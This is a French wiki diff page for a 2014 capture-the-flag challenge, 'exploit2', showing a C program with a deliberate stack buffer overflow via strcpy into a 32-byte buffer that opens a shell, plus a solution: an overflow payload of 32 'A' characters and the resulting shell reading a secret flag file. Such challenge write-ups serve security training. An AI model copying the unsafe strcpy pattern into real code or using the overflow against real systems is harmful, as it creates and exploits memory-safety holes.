Cette page vous donne les différences entre la révision choisie et la version actuelle de la page.
|
hackingweek_2014:exploit:exploit2 [2014/03/03 01:49] ganapati créée |
hackingweek_2014:exploit:exploit2 [2017/04/09 15:33] (Version actuelle) |
||
|---|---|---|---|
| Ligne 1: | Ligne 1: | ||
| Source : | Source : | ||
| + | <code C> | ||
| + | #include <stdlib.h> | ||
| + | #include <string.h> | ||
| + | void func(char *str) { | ||
| + | char buffer[32]; | ||
| + | strcpy (buffer, str); | ||
| + | } | ||
| + | int main (int argc, char **argv) { | ||
| + | volatile int i = 0; | ||
| + | if (argc > 1) | ||
| + | func (argv[1]); | ||
| + | if (i) | ||
| + | system ("/bin/sh"); | ||
| + | return EXIT_SUCCESS; | ||
| + | } | ||
| + | </code> | ||
| - | #include <stdlib.h> | ||
| - | #include <string.h> | ||
| - | void func(char *str) { | ||
| - | char buffer[32]; | ||
| - | strcpy (buffer, str); | ||
| - | } | ||
| - | int main (int argc, char **argv) { | ||
| - | volatile int i = 0; | ||
| - | if (argc > 1) | ||
| - | func (argv[1]); | ||
| - | if (i) | ||
| - | system ("/bin/sh"); | ||
| - | return EXIT_SUCCESS; | ||
| - | } | ||
| + | Solution : | ||
| + | <code> | ||
| + | ./vulnerable `python -c 'print "A"*32'` | ||
| + | sh-4.2$ cat ./.secret | ||
| + | Kahwaujoo1 | ||
| + | </code> | ||